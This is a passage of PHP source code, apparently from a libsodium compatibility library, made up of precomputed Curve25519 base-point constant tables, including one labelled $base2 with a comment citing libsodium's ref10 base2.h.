                array(-24290378, 4759345, -690653, -1852816, 2066747, 10693769, -29595790, 9884936, -9368926, 4745410),
            ),
            array(
                array(-9141284, 6049714, -19531061, -4341411, -31260798, 9944276, -15462008, -11311852, 10931924, -11931931),
                array(-16561513, 14112680, -8012645, 4817318, -8040464, -11414606, -22853429, 10856641, -20470770, 13434654),
                array(22759489, -10073434, -16766264, -1871422, 13637442, -10168091, 1765144, -12654326, 28445307, -5364710),
            ),
            array(
                array(29875063, 12493613, 2795536, -3786330, 1710620, 15181182, -10195717, -8788675, 9074234, 1167180),
                array(-26205683, 11014233, -9842651, -2635485, -26908120, 7532294, -18716888, -9535498, 3843903, 9367684),
                array(-10969595, -6403711, 9591134, 9582310, 11349256, 108879, 16235123, 8601684, -139197, 4242895),
            ),
        ),
        array(
            array(
                array(22092954, -13191123, -2042793, -11968512, 32186753, -11517388, -6574341, 2470660, -27417366, 16625501),
                array(-11057722, 3042016, 13770083, -9257922, 584236, -544855, -7770857, 2602725, -27351616, 14247413),
                array(6314175, -10264892, -32772502, 15957557, -10157730, 168750, -8618807, 14290061, 27108877, -1180880),
            ),
            array(
                array(-8586597, -7170966, 13241782, 10960156, -32991015, -13794596, 33547976, -11058889, -27148451, 981874),
                array(22833440, 9293594, -32649448, -13618667, -9136966, 14756819, -22928859, -13970780, -10479804, -16197962),
                array(-7768587, 3326786, -28111797, 10783824, 19178761, 14905060, 22680049, 13906969, -15933690, 3797899),
            ),
            array(
                array(21721356, -4212746, -12206123, 9310182, -3882239, -13653110, 23740224, -2709232, 20491983, -8042152),
                array(9209270, -15135055, -13256557, -6167798, -731016, 15289673, 25947805, 15286587, 30997318, -6703063),
                array(7392032, 16618386, 23946583, -8039892, -13265164, -1533858, -14197445, -2321576, 17649998, -250080),
            ),
            array(
                array(-9301088, -14193827, 30609526, -3049543, -25175069, -1283752, -15241566, -9525724, -2233253, 7662146),
                array(-17558673, 1763594, -33114336, 15908610, -30040870, -12174295, 7335080, -8472199, -3174674, 3440183),
                array(-19889700, -5977008, -24111293, -9688870, 10799743, -16571957, 40450, -4431835, 4862400, 1133),
            ),
            array(
                array(-32856209, -7873957, -5422389, 14860950, -16319031, 7956142, 7258061, 311861, -30594991, -7379421),
                array(-3773428, -1565936, 28985340, 7499440, 24445838, 9325937, 29727763, 16527196, 18278453, 15405622),
                array(-4381906, 8508652, -19898366, -3674424, -5984453, 15149970, -13313598, 843523, -21875062, 13626197),
            ),
            array(
                array(2281448, -13487055, -10915418, -2609910, 1879358, 16164207, -10783882, 3953792, 13340839, 15928663),
                array(31727126, -7179855, -18437503, -8283652, 2875793, -16390330, -25269894, -7014826, -23452306, 5964753),
                array(4100420, -5959452, -17179337, 6017714, -18705837, 12227141, -26684835, 11344144, 2538215, -7570755),
            ),
            array(
                array(-9433605, 6123113, 11159803, -2156608, 30016280, 14966241, -20474983, 1485421, -629256, -15958862),
                array(-26804558, 4260919, 11851389, 9658551, -32017107, 16367492, -20205425, -13191288, 11659922, -11115118),
                array(26180396, 10015009, -30844224, -8581293, 5418197, 9480663, 2231568, -10170080, 33100372, -1306171),
            ),
            array(
                array(15121113, -5201871, -10389905, 15427821, -27509937, -15992507, 21670947, 4486675, -5931810, -14466380),
                array(16166486, -9483733, -11104130, 6023908, -31926798, -1364923, 2340060, -16254968, -10735770, -10039824),
                array(28042865, -3557089, -12126526, 12259706, -3717498, -6945899, 6766453, -8689599, 18036436, 5803270),
            ),
        ),
        array(
            array(
                array(-817581, 6763912, 11803561, 1585585, 10958447, -2671165, 23855391, 4598332, -6159431, -14117438),
                array(-31031306, -14256194, 17332029, -2383520, 31312682, -5967183, 696309, 50292, -20095739, 11763584),
                array(-594563, -2514283, -32234153, 12643980, 12650761, 14811489, 665117, -12613632, -19773211, -10713562),
            ),
            array(
                array(30464590, -11262872, -4127476, -12734478, 19835327, -7105613, -24396175, 2075773, -17020157, 992471),
                array(18357185, -6994433, 7766382, 16342475, -29324918, 411174, 14578841, 8080033, -11574335, -10601610),
                array(19598397, 10334610, 12555054, 2555664, 18821899, -10339780, 21873263, 16014234, 26224780, 16452269),
            ),
            array(
                array(-30223925, 5145196, 5944548, 16385966, 3976735, 2009897, -11377804, -7618186, -20533829, 3698650),
                array(14187449, 3448569, -10636236, -10810935, -22663880, -3433596, 7268410, -10890444, 27394301, 12015369),
                array(19695761, 16087646, 28032085, 12999827, 6817792, 11427614, 20244189, -1312777, -13259127, -3402461),
            ),
            array(
                array(30860103, 12735208, -1888245, -4699734, -16974906, 2256940, -8166013, 12298312, -8550524, -10393462),
                array(-5719826, -11245325, -1910649, 15569035, 26642876, -7587760, -5789354, -15118654, -4976164, 12651793),
                array(-2848395, 9953421, 11531313, -5282879, 26895123, -12697089, -13118820, -16517902, 9768698, -2533218),
            ),
            array(
                array(-24719459, 1894651, -287698, -4704085, 15348719, -8156530, 32767513, 12765450, 4940095, 10678226),
                array(18860224, 15980149, -18987240, -1562570, -26233012, -11071856, -7843882, 13944024, -24372348, 16582019),
                array(-15504260, 4970268, -29893044, 4175593, -20993212, -2199756, -11704054, 15444560, -11003761, 7989037),
            ),
            array(
                array(31490452, 5568061, -2412803, 2182383, -32336847, 4531686, -32078269, 6200206, -19686113, -14800171),
                array(-17308668, -15879940, -31522777, -2831, -32887382, 16375549, 8680158, -16371713, 28550068, -6857132),
                array(-28126887, -5688091, 16837845, -1820458, -6850681, 12700016, -30039981, 4364038, 1155602, 5988841),
            ),
            array(
                array(21890435, -13272907, -12624011, 12154349, -7831873, 15300496, 23148983, -4470481, 24618407, 8283181),
                array(-33136107, -10512751, 9975416, 6841041, -31559793, 16356536, 3070187, -7025928, 1466169, 10740210),
                array(-1509399, -15488185, -13503385, -10655916, 32799044, 909394, -13938903, -5779719, -32164649, -15327040),
            ),
            array(
                array(3960823, -14267803, -28026090, -15918051, -19404858, 13146868, 15567327, 951507, -3260321, -573935),
                array(24740841, 5052253, -30094131, 8961361, 25877428, 6165135, -24368180, 14397372, -7380369, -6144105),
                array(-28888365, 3510803, -28103278, -1158478, -11238128, -10631454, -15441463, -14453128, -1625486, -6494814),
            ),
        ),
        array(
            array(
                array(793299, -9230478, 8836302, -6235707, -27360908, -2369593, 33152843, -4885251, -9906200, -621852),
                array(5666233, 525582, 20782575, -8038419, -24538499, 14657740, 16099374, 1468826, -6171428, -15186581),
                array(-4859255, -3779343, -2917758, -6748019, 7778750, 11688288, -30404353, -9871238, -1558923, -9863646),
            ),
            array(
                array(10896332, -7719704, 824275, 472601, -19460308, 3009587, 25248958, 14783338, -30581476, -15757844),
                array(10566929, 12612572, -31944212, 11118703, -12633376, 12362879, 21752402, 8822496, 24003793, 14264025),
                array(27713862, -7355973, -11008240, 9227530, 27050101, 2504721, 23886875, -13117525, 13958495, -5732453),
            ),
            array(
                array(-23481610, 4867226, -27247128, 3900521, 29838369, -8212291, -31889399, -10041781, 7340521, -15410068),
                array(4646514, -8011124, -22766023, -11532654, 23184553, 8566613, 31366726, -1381061, -15066784, -10375192),
                array(-17270517, 12723032, -16993061, 14878794, 21619651, -6197576, 27584817, 3093888, -8843694, 3849921),
            ),
            array(
                array(-9064912, 2103172, 25561640, -15125738, -5239824, 9582958, 32477045, -9017955, 5002294, -15550259),
                array(-12057553, -11177906, 21115585, -13365155, 8808712, -12030708, 16489530, 13378448, -25845716, 12741426),
                array(-5946367, 10645103, -30911586, 15390284, -3286982, -7118677, 24306472, 15852464, 28834118, -7646072),
            ),
            array(
                array(-17335748, -9107057, -24531279, 9434953, -8472084, -583362, -13090771, 455841, 20461858, 5491305),
                array(13669248, -16095482, -12481974, -10203039, -14569770, -11893198, -24995986, 11293807, -28588204, -9421832),
                array(28497928, 6272777, -33022994, 14470570, 8906179, -1225630, 18504674, -14165166, 29867745, -8795943),
            ),
            array(
                array(-16207023, 13517196, -27799630, -13697798, 24009064, -6373891, -6367600, -13175392, 22853429, -4012011),
                array(24191378, 16712145, -13931797, 15217831, 14542237, 1646131, 18603514, -11037887, 12876623, -2112447),
                array(17902668, 4518229, -411702, -2829247, 26878217, 5258055, -12860753, 608397, 16031844, 3723494),
            ),
            array(
                array(-28632773, 12763728, -20446446, 7577504, 33001348, -13017745, 17558842, -7872890, 23896954, -4314245),
                array(-20005381, -12011952, 31520464, 605201, 2543521, 5991821, -2945064, 7229064, -9919646, -8826859),
                array(28816045, 298879, -28165016, -15920938, 19000928, -1665890, -12680833, -2949325, -18051778, -2082915),
            ),
            array(
                array(16000882, -344896, 3493092, -11447198, -29504595, -13159789, 12577740, 16041268, -19715240, 7847707),
                array(10151868, 10572098, 27312476, 7922682, 14825339, 4723128, -32855931, -6519018, -10020567, 3852848),
                array(-11430470, 15697596, -21121557, -4420647, 5386314, 15063598, 16514493, -15932110, 29330899, -15076224),
            ),
        ),
        array(
            array(
                array(-25499735, -4378794, -15222908, -6901211, 16615731, 2051784, 3303702, 15490, -27548796, 12314391),
                array(15683520, -6003043, 18109120, -9980648, 15337968, -5997823, -16717435, 15921866, 16103996, -3731215),
                array(-23169824, -10781249, 13588192, -1628807, -3798557, -1074929, -19273607, 5402699, -29815713, -9841101),
            ),
            array(
                array(23190676, 2384583, -32714340, 3462154, -29903655, -1529132, -11266856, 8911517, -25205859, 2739713),
                array(21374101, -3554250, -33524649, 9874411, 15377179, 11831242, -33529904, 6134907, 4931255, 11987849),
                array(-7732, -2978858, -16223486, 7277597, 105524, -322051, -31480539, 13861388, -30076310, 10117930),
            ),
            array(
                array(-29501170, -10744872, -26163768, 13051539, -25625564, 5089643, -6325503, 6704079, 12890019, 15728940),
                array(-21972360, -11771379, -951059, -4418840, 14704840, 2695116, 903376, -10428139, 12885167, 8311031),
                array(-17516482, 5352194, 10384213, -13811658, 7506451, 13453191, 26423267, 4384730, 1888765, -5435404),
            ),
            array(
                array(-25817338, -3107312, -13494599, -3182506, 30896459, -13921729, -32251644, -12707869, -19464434, -3340243),
                array(-23607977, -2665774, -526091, 4651136, 5765089, 4618330, 6092245, 14845197, 17151279, -9854116),
                array(-24830458, -12733720, -15165978, 10367250, -29530908, -265356, 22825805, -7087279, -16866484, 16176525),
            ),
            array(
                array(-23583256, 6564961, 20063689, 3798228, -4740178, 7359225, 2006182, -10363426, -28746253, -10197509),
                array(-10626600, -4486402, -13320562, -5125317, 3432136, -6393229, 23632037, -1940610, 32808310, 1099883),
                array(15030977, 5768825, -27451236, -2887299, -6427378, -15361371, -15277896, -6809350, 2051441, -15225865),
            ),
            array(
                array(-3362323, -7239372, 7517890, 9824992, 23555850, 295369, 5148398, -14154188, -22686354, 16633660),
                array(4577086, -16752288, 13249841, -15304328, 19958763, -14537274, 18559670, -10759549, 8402478, -9864273),
                array(-28406330, -1051581, -26790155, -907698, -17212414, -11030789, 9453451, -14980072, 17983010, 9967138),
            ),
            array(
                array(-25762494, 6524722, 26585488, 9969270, 24709298, 1220360, -1677990, 7806337, 17507396, 3651560),
                array(-10420457, -4118111, 14584639, 15971087, -15768321, 8861010, 26556809, -5574557, -18553322, -11357135),
                array(2839101, 14284142, 4029895, 3472686, 14402957, 12689363, -26642121, 8459447, -5605463, -7621941),
            ),
            array(
                array(-4839289, -3535444, 9744961, 2871048, 25113978, 3187018, -25110813, -849066, 17258084, -7977739),
                array(18164541, -10595176, -17154882, -1542417, 19237078, -9745295, 23357533, -15217008, 26908270, 12150756),
                array(-30264870, -7647865, 5112249, -7036672, -1499807, -6974257, 43168, -5537701, -32302074, 16215819),
            ),
        ),
        array(
            array(
                array(-6898905, 9824394, -12304779, -4401089, -31397141, -6276835, 32574489, 12532905, -7503072, -8675347),
                array(-27343522, -16515468, -27151524, -10722951, 946346, 16291093, 254968, 7168080, 21676107, -1943028),
                array(21260961, -8424752, -16831886, -11920822, -23677961, 3968121, -3651949, -6215466, -3556191, -7913075),
            ),
            array(
                array(16544754, 13250366, -16804428, 15546242, -4583003, 12757258, -2462308, -8680336, -18907032, -9662799),
                array(-2415239, -15577728, 18312303, 4964443, -15272530, -12653564, 26820651, 16690659, 25459437, -4564609),
                array(-25144690, 11425020, 28423002, -11020557, -6144921, -15826224, 9142795, -2391602, -6432418, -1644817),
            ),
            array(
                array(-23104652, 6253476, 16964147, -3768872, -25113972, -12296437, -27457225, -16344658, 6335692, 7249989),
                array(-30333227, 13979675, 7503222, -12368314, -11956721, -4621693, -30272269, 2682242, 25993170, -12478523),
                array(4364628, 5930691, 32304656, -10044554, -8054781, 15091131, 22857016, -10598955, 31820368, 15075278),
            ),
            array(
                array(31879134, -8918693, 17258761, 90626, -8041836, -4917709, 24162788, -9650886, -17970238, 12833045),
                array(19073683, 14851414, -24403169, -11860168, 7625278, 11091125, -19619190, 2074449, -9413939, 14905377),
                array(24483667, -11935567, -2518866, -11547418, -1553130, 15355506, -25282080, 9253129, 27628530, -7555480),
            ),
            array(
                array(17597607, 8340603, 19355617, 552187, 26198470, -3176583, 4593324, -9157582, -14110875, 15297016),
                array(510886, 14337390, -31785257, 16638632, 6328095, 2713355, -20217417, -11864220, 8683221, 2921426),
                array(18606791, 11874196, 27155355, -5281482, -24031742, 6265446, -25178240, -1278924, 4674690, 13890525),
            ),
            array(
                array(13609624, 13069022, -27372361, -13055908, 24360586, 9592974, 14977157, 9835105, 4389687, 288396),
                array(9922506, -519394, 13613107, 5883594, -18758345, -434263, -12304062, 8317628, 23388070, 16052080),
                array(12720016, 11937594, -31970060, -5028689, 26900120, 8561328, -20155687, -11632979, -14754271, -10812892),
            ),
            array(
                array(15961858, 14150409, 26716931, -665832, -22794328, 13603569, 11829573, 7467844, -28822128, 929275),
                array(11038231, -11582396, -27310482, -7316562, -10498527, -16307831, -23479533, -9371869, -21393143, 2465074),
                array(20017163, -4323226, 27915242, 1529148, 12396362, 15675764, 13817261, -9658066, 2463391, -4622140),
            ),
            array(
                array(-16358878, -12663911, -12065183, 4996454, -1256422, 1073572, 9583558, 12851107, 4003896, 12673717),
                array(-1731589, -15155870, -3262930, 16143082, 19294135, 13385325, 14741514, -9103726, 7903886, 2348101),
                array(24536016, -16515207, 12715592, -3862155, 1511293, 10047386, -3842346, -7129159, -28377538, 10048127),
            ),
        ),
        array(
            array(
                array(-12622226, -6204820, 30718825, 2591312, -10617028, 12192840, 18873298, -7297090, -32297756, 15221632),
                array(-26478122, -11103864, 11546244, -1852483, 9180880, 7656409, -21343950, 2095755, 29769758, 6593415),
                array(-31994208, -2907461, 4176912, 3264766, 12538965, -868111, 26312345, -6118678, 30958054, 8292160),
            ),
            array(
                array(31429822, -13959116, 29173532, 15632448, 12174511, -2760094, 32808831, 3977186, 26143136, -3148876),
                array(22648901, 1402143, -22799984, 13746059, 7936347, 365344, -8668633, -1674433, -3758243, -2304625),
                array(-15491917, 8012313, -2514730, -12702462, -23965846, -10254029, -1612713, -1535569, -16664475, 8194478),
            ),
            array(
                array(27338066, -7507420, -7414224, 10140405, -19026427, -6589889, 27277191, 8855376, 28572286, 3005164),
                array(26287124, 4821776, 25476601, -4145903, -3764513, -15788984, -18008582, 1182479, -26094821, -13079595),
                array(-7171154, 3178080, 23970071, 6201893, -17195577, -4489192, -21876275, -13982627, 32208683, -1198248),
            ),
            array(
                array(-16657702, 2817643, -10286362, 14811298, 6024667, 13349505, -27315504, -10497842, -27672585, -11539858),
                array(15941029, -9405932, -21367050, 8062055, 31876073, -238629, -15278393, -1444429, 15397331, -4130193),
                array(8934485, -13485467, -23286397, -13423241, -32446090, 14047986, 31170398, -1441021, -27505566, 15087184),
            ),
            array(
                array(-18357243, -2156491, 24524913, -16677868, 15520427, -6360776, -15502406, 11461896, 16788528, -5868942),
                array(-1947386, 16013773, 21750665, 3714552, -17401782, -16055433, -3770287, -10323320, 31322514, -11615635),
                array(21426655, -5650218, -13648287, -5347537, -28812189, -4920970, -18275391, -14621414, 13040862, -12112948),
            ),
            array(
                array(11293895, 12478086, -27136401, 15083750, -29307421, 14748872, 14555558, -13417103, 1613711, 4896935),
                array(-25894883, 15323294, -8489791, -8057900, 25967126, -13425460, 2825960, -4897045, -23971776, -11267415),
                array(-15924766, -5229880, -17443532, 6410664, 3622847, 10243618, 20615400, 12405433, -23753030, -8436416),
            ),
            array(
                array(-7091295, 12556208, -20191352, 9025187, -17072479, 4333801, 4378436, 2432030, 23097949, -566018),
                array(4565804, -16025654, 20084412, -7842817, 1724999, 189254, 24767264, 10103221, -18512313, 2424778),
                array(366633, -11976806, 8173090, -6890119, 30788634, 5745705, -7168678, 1344109, -3642553, 12412659),
            ),
            array(
                array(-24001791, 7690286, 14929416, -168257, -32210835, -13412986, 24162697, -15326504, -3141501, 11179385),
                array(18289522, -14724954, 8056945, 16430056, -21729724, 7842514, -6001441, -1486897, -18684645, -11443503),
                array(476239, 6601091, -6152790, -9723375, 17503545, -4863900, 27672959, 13403813, 11052904, 5219329),
            ),
        ),
        array(
            array(
                array(20678546, -8375738, -32671898, 8849123, -5009758, 14574752, 31186971, -3973730, 9014762, -8579056),
                array(-13644050, -10350239, -15962508, 5075808, -1514661, -11534600, -33102500, 9160280, 8473550, -3256838),
                array(24900749, 14435722, 17209120, -15292541, -22592275, 9878983, -7689309, -16335821, -24568481, 11788948),
            ),
            array(
                array(-3118155, -11395194, -13802089, 14797441, 9652448, -6845904, -20037437, 10410733, -24568470, -1458691),
                array(-15659161, 16736706, -22467150, 10215878, -9097177, 7563911, 11871841, -12505194, -18513325, 8464118),
                array(-23400612, 8348507, -14585951, -861714, -3950205, -6373419, 14325289, 8628612, 33313881, -8370517),
            ),
            array(
                array(-20186973, -4967935, 22367356, 5271547, -1097117, -4788838, -24805667, -10236854, -8940735, -5818269),
                array(-6948785, -1795212, -32625683, -16021179, 32635414, -7374245, 15989197, -12838188, 28358192, -4253904),
                array(-23561781, -2799059, -32351682, -1661963, -9147719, 10429267, -16637684, 4072016, -5351664, 5596589),
            ),
            array(
                array(-28236598, -3390048, 12312896, 6213178, 3117142, 16078565, 29266239, 2557221, 1768301, 15373193),
                array(-7243358, -3246960, -4593467, -7553353, -127927, -912245, -1090902, -4504991, -24660491, 3442910),
                array(-30210571, 5124043, 14181784, 8197961, 18964734, -11939093, 22597931, 7176455, -18585478, 13365930),
            ),
            array(
                array(-7877390, -1499958, 8324673, 4690079, 6261860, 890446, 24538107, -8570186, -9689599, -3031667),
                array(25008904, -10771599, -4305031, -9638010, 16265036, 15721635, 683793, -11823784, 15723479, -15163481),
                array(-9660625, 12374379, -27006999, -7026148, -7724114, -12314514, 11879682, 5400171, 519526, -1235876),
            ),
            array(
                array(22258397, -16332233, -7869817, 14613016, -22520255, -2950923, -20353881, 7315967, 16648397, 7605640),
                array(-8081308, -8464597, -8223311, 9719710, 19259459, -15348212, 23994942, -5281555, -9468848, 4763278),
                array(-21699244, 9220969, -15730624, 1084137, -25476107, -2852390, 31088447, -7764523, -11356529, 728112),
            ),
            array(
                array(26047220, -11751471, -6900323, -16521798, 24092068, 9158119, -4273545, -12555558, -29365436, -5498272),
                array(17510331, -322857, 5854289, 8403524, 17133918, -3112612, -28111007, 12327945, 10750447, 10014012),
                array(-10312768, 3936952, 9156313, -8897683, 16498692, -994647, -27481051, -666732, 3424691, 7540221),
            ),
            array(
                array(30322361, -6964110, 11361005, -4143317, 7433304, 4989748, -7071422, -16317219, -9244265, 15258046),
                array(13054562, -2779497, 19155474, 469045, -12482797, 4566042, 5631406, 2711395, 1062915, -5136345),
                array(-19240248, -11254599, -29509029, -7499965, -5835763, 13005411, -6066489, 12194497, 32960380, 1459310),
            ),
        ),
        array(
            array(
                array(19852034, 7027924, 23669353, 10020366, 8586503, -6657907, 394197, -6101885, 18638003, -11174937),
                array(31395534, 15098109, 26581030, 8030562, -16527914, -5007134, 9012486, -7584354, -6643087, -5442636),
                array(-9192165, -2347377, -1997099, 4529534, 25766844, 607986, -13222, 9677543, -32294889, -6456008),
            ),
            array(
                array(-2444496, -149937, 29348902, 8186665, 1873760, 12489863, -30934579, -7839692, -7852844, -8138429),
                array(-15236356, -15433509, 7766470, 746860, 26346930, -10221762, -27333451, 10754588, -9431476, 5203576),
                array(31834314, 14135496, -770007, 5159118, 20917671, -16768096, -7467973, -7337524, 31809243, 7347066),
            ),
            array(
                array(-9606723, -11874240, 20414459, 13033986, 13716524, -11691881, 19797970, -12211255, 15192876, -2087490),
                array(-12663563, -2181719, 1168162, -3804809, 26747877, -14138091, 10609330, 12694420, 33473243, -13382104),
                array(33184999, 11180355, 15832085, -11385430, -1633671, 225884, 15089336, -11023903, -6135662, 14480053),
            ),
            array(
                array(31308717, -5619998, 31030840, -1897099, 15674547, -6582883, 5496208, 13685227, 27595050, 8737275),
                array(-20318852, -15150239, 10933843, -16178022, 8335352, -7546022, -31008351, -12610604, 26498114, 66511),
                array(22644454, -8761729, -16671776, 4884562, -3105614, -13559366, 30540766, -4286747, -13327787, -7515095),
            ),
            array(
                array(-28017847, 9834845, 18617207, -2681312, -3401956, -13307506, 8205540, 13585437, -17127465, 15115439),
                array(23711543, -672915, 31206561, -8362711, 6164647, -9709987, -33535882, -1426096, 8236921, 16492939),
                array(-23910559, -13515526, -26299483, -4503841, 25005590, -7687270, 19574902, 10071562, 6708380, -6222424),
            ),
            array(
                array(2101391, -4930054, 19702731, 2367575, -15427167, 1047675, 5301017, 9328700, 29955601, -11678310),
                array(3096359, 9271816, -21620864, -15521844, -14847996, -7592937, -25892142, -12635595, -9917575, 6216608),
                array(-32615849, 338663, -25195611, 2510422, -29213566, -13820213, 24822830, -6146567, -26767480, 7525079),
            ),
            array(
                array(-23066649, -13985623, 16133487, -7896178, -3389565, 778788, -910336, -2782495, -19386633, 11994101),
                array(21691500, -13624626, -641331, -14367021, 3285881, -3483596, -25064666, 9718258, -7477437, 13381418),
                array(18445390, -4202236, 14979846, 11622458, -1727110, -3582980, 23111648, -6375247, 28535282, 15779576),
            ),
            array(
                array(30098053, 3089662, -9234387, 16662135, -21306940, 11308411, -14068454, 12021730, 9955285, -16303356),
                array(9734894, -14576830, -7473633, -9138735, 2060392, 11313496, -18426029, 9924399, 20194861, 13380996),
                array(-26378102, -7965207, -22167821, 15789297, -18055342, -6168792, -1984914, 15707771, 26342023, 10146099),
            ),
        ),
        array(
            array(
                array(-26016874, -219943, 21339191, -41388, 19745256, -2878700, -29637280, 2227040, 21612326, -545728),
                array(-13077387, 1184228, 23562814, -5970442, -20351244, -6348714, 25764461, 12243797, -20856566, 11649658),
                array(-10031494, 11262626, 27384172, 2271902, 26947504, -15997771, 39944, 6114064, 33514190, 2333242),
            ),
            array(
                array(-21433588, -12421821, 8119782, 7219913, -21830522, -9016134, -6679750, -12670638, 24350578, -13450001),
                array(-4116307, -11271533, -23886186, 4843615, -30088339, 690623, -31536088, -10406836, 8317860, 12352766),
                array(18200138, -14475911, -33087759, -2696619, -23702521, -9102511, -23552096, -2287550, 20712163, 6719373),
            ),
            array(
                array(26656208, 6075253, -7858556, 1886072, -28344043, 4262326, 11117530, -3763210, 26224235, -3297458),
                array(-17168938, -14854097, -3395676, -16369877, -19954045, 14050420, 21728352, 9493610, 18620611, -16428628),
                array(-13323321, 13325349, 11432106, 5964811, 18609221, 6062965, -5269471, -9725556, -30701573, -16479657),
            ),
            array(
                array(-23860538, -11233159, 26961357, 1640861, -32413112, -16737940, 12248509, -5240639, 13735342, 1934062),
                array(25089769, 6742589, 17081145, -13406266, 21909293, -16067981, -15136294, -3765346, -21277997, 5473616),
                array(31883677, -7961101, 1083432, -11572403, 22828471, 13290673, -7125085, 12469656, 29111212, -5451014),
            ),
            array(
                array(24244947, -15050407, -26262976, 2791540, -14997599, 16666678, 24367466, 6388839, -10295587, 452383),
                array(-25640782, -3417841, 5217916, 16224624, 19987036, -4082269, -24236251, -5915248, 15766062, 8407814),
                array(-20406999, 13990231, 15495425, 16395525, 5377168, 15166495, -8917023, -4388953, -8067909, 2276718),
            ),
            array(
                array(30157918, 12924066, -17712050, 9245753, 19895028, 3368142, -23827587, 5096219, 22740376, -7303417),
                array(2041139, -14256350, 7783687, 13876377, -25946985, -13352459, 24051124, 13742383, -15637599, 13295222),
                array(33338237, -8505733, 12532113, 7977527, 9106186, -1715251, -17720195, -4612972, -4451357, -14669444),
            ),
            array(
                array(-20045281, 5454097, -14346548, 6447146, 28862071, 1883651, -2469266, -4141880, 7770569, 9620597),
                array(23208068, 7979712, 33071466, 8149229, 1758231, -10834995, 30945528, -1694323, -33502340, -14767970),
                array(1439958, -16270480, -1079989, -793782, 4625402, 10647766, -5043801, 1220118, 30494170, -11440799),
            ),
            array(
                array(-5037580, -13028295, -2970559, -3061767, 15640974, -6701666, -26739026, 926050, -1684339, -13333647),
                array(13908495, -3549272, 30919928, -6273825, -21521863, 7989039, 9021034, 9078865, 3353509, 4033511),
                array(-29663431, -15113610, 32259991, -344482, 24295849, -12912123, 23161163, 8839127, 27485041, 7356032),
            ),
        ),
        array(
            array(
                array(9661027, 705443, 11980065, -5370154, -1628543, 14661173, -6346142, 2625015, 28431036, -16771834),
                array(-23839233, -8311415, -25945511, 7480958, -17681669, -8354183, -22545972, 14150565, 15970762, 4099461),
                array(29262576, 16756590, 26350592, -8793563, 8529671, -11208050, 13617293, -9937143, 11465739, 8317062),
            ),
            array(
                array(-25493081, -6962928, 32500200, -9419051, -23038724, -2302222, 14898637, 3848455, 20969334, -5157516),
                array(-20384450, -14347713, -18336405, 13884722, -33039454, 2842114, -21610826, -3649888, 11177095, 14989547),
                array(-24496721, -11716016, 16959896, 2278463, 12066309, 10137771, 13515641, 2581286, -28487508, 9930240),
            ),
            array(
                array(-17751622, -2097826, 16544300, -13009300, -15914807, -14949081, 18345767, -13403753, 16291481, -5314038),
                array(-33229194, 2553288, 32678213, 9875984, 8534129, 6889387, -9676774, 6957617, 4368891, 9788741),
                array(16660756, 7281060, -10830758, 12911820, 20108584, -8101676, -21722536, -8613148, 16250552, -11111103),
            ),
            array(
                array(-19765507, 2390526, -16551031, 14161980, 1905286, 6414907, 4689584, 10604807, -30190403, 4782747),
                array(-1354539, 14736941, -7367442, -13292886, 7710542, -14155590, -9981571, 4383045, 22546403, 437323),
                array(31665577, -12180464, -16186830, 1491339, -18368625, 3294682, 27343084, 2786261, -30633590, -14097016),
            ),
            array(
                array(-14467279, -683715, -33374107, 7448552, 19294360, 14334329, -19690631, 2355319, -19284671, -6114373),
                array(15121312, -15796162, 6377020, -6031361, -10798111, -12957845, 18952177, 15496498, -29380133, 11754228),
                array(-2637277, -13483075, 8488727, -14303896, 12728761, -1622493, 7141596, 11724556, 22761615, -10134141),
            ),
            array(
                array(16918416, 11729663, -18083579, 3022987, -31015732, -13339659, -28741185, -12227393, 32851222, 11717399),
                array(11166634, 7338049, -6722523, 4531520, -29468672, -7302055, 31474879, 3483633, -1193175, -4030831),
                array(-185635, 9921305, 31456609, -13536438, -12013818, 13348923, 33142652, 6546660, -19985279, -3948376),
            ),
            array(
                array(-32460596, 11266712, -11197107, -7899103, 31703694, 3855903, -8537131, -12833048, -30772034, -15486313),
                array(-18006477, 12709068, 3991746, -6479188, -21491523, -10550425, -31135347, -16049879, 10928917, 3011958),
                array(-6957757, -15594337, 31696059, 334240, 29576716, 14796075, -30831056, -12805180, 18008031, 10258577),
            ),
            array(
                array(-22448644, 15655569, 7018479, -4410003, -30314266, -1201591, -1853465, 1367120, 25127874, 6671743),
                array(29701166, -14373934, -10878120, 9279288, -17568, 13127210, 21382910, 11042292, 25838796, 4642684),
                array(-20430234, 14955537, -24126347, 8124619, -5369288, -5990470, 30468147, -13900640, 18423289, 4177476),
            ),
        )
    );

    /**
     * See: libsodium's crypto_core/curve25519/ref10/base2.h
     *
     * @var array basically int[8][3]
     */
    protected static $base2 = array(
        array(
            array(25967493, -14356035, 29566456, 3660896, -12694345, 4014787, 27544626, -11754271, -6079156, 2047605),
            array(-12545711, 934262, -2722910, 3049990, -727428, 9406986, 12720692, 5043384, 19500929, -15469378),
            array(-8738181, 4489570, 9688441, -14785194, 10184609, -12363380, 29287919, 11864899, -24514362, -4438546),
        ),
        array(
            array(15636291, -9688557, 24204773, -7912398, 616977, -16685262, 27787600, -14772189, 28944400, -1550024),
            array(16568933, 4717097, -11556148, -1102322, 15682896, -11807043, 16354577, -11775962, 7689662, 11199574),
            array(30464156, -5976125, -11779434, -15670865, 23220365, 15915852, 7512774, 10017326, -17749093, -9920357),
        ),
        array(
            array(10861363, 11473154, 27284546, 1981175, -30064349, 12577861, 32867885, 14515107, -15438304, 10819380),
            array(4708026, 6336745, 20377586, 9066809, -11272109, 6594696, -25653668, 12483688, -12668491, 5581306),
            array(19563160, 16186464, -29386857, 4097519, 10237984, -4348115, 28542350, 13850243, -23678021, -15815942),
        ),
        array(
            array(5153746, 9909285, 1723747, -2777874, 30523605, 5516873, 19480852, 5230134, -23952439, -15175766),
            array(-30269007, -3463509, 7665486, 10083793, 28475525, 1649722, 20654025, 16520125, 30598449, 7715701),
            array(28881845, 14381568, 9657904, 3680757, -20181635, 7843316, -31400660, 1370708, 29794553, -1409300),
        ),
        array(
            array(-22518993, -6692182, 14201702, -8745502, -23510406, 8844726, 18474211, -1361450, -13062696, 13821877),
            array(-6455177, -7839871, 3374702, -4740862, -27098617, -10571707, 31655028, -7212327, 18853322, -14220951),
            array(4566830, -12963868, -28974889, -12240689, -7602672, -2830569, -8514358, -10431137, 2207753, -3209784),
        ),
        array(
            array(-25154831, -4185821, 29681144, 7868801, -6854661, -9423865, -12437364, -663000, -31111463, -16132436),
            array(25576264, -2703214, 7349804, -11814844, 16472782, 9300885, 3844789, 15725684, 171356, 6466918),
            array(23103977, 13316479, 9739013, -16149481, 817875, -15038942, 8965339, -14088058, -30714912, 16193877),
        ),
        array(
            array(-33521811, 3180713, -2394130, 14003687, -16903474, -16270840, 17238398, 4729455, -18074513, 9256800),
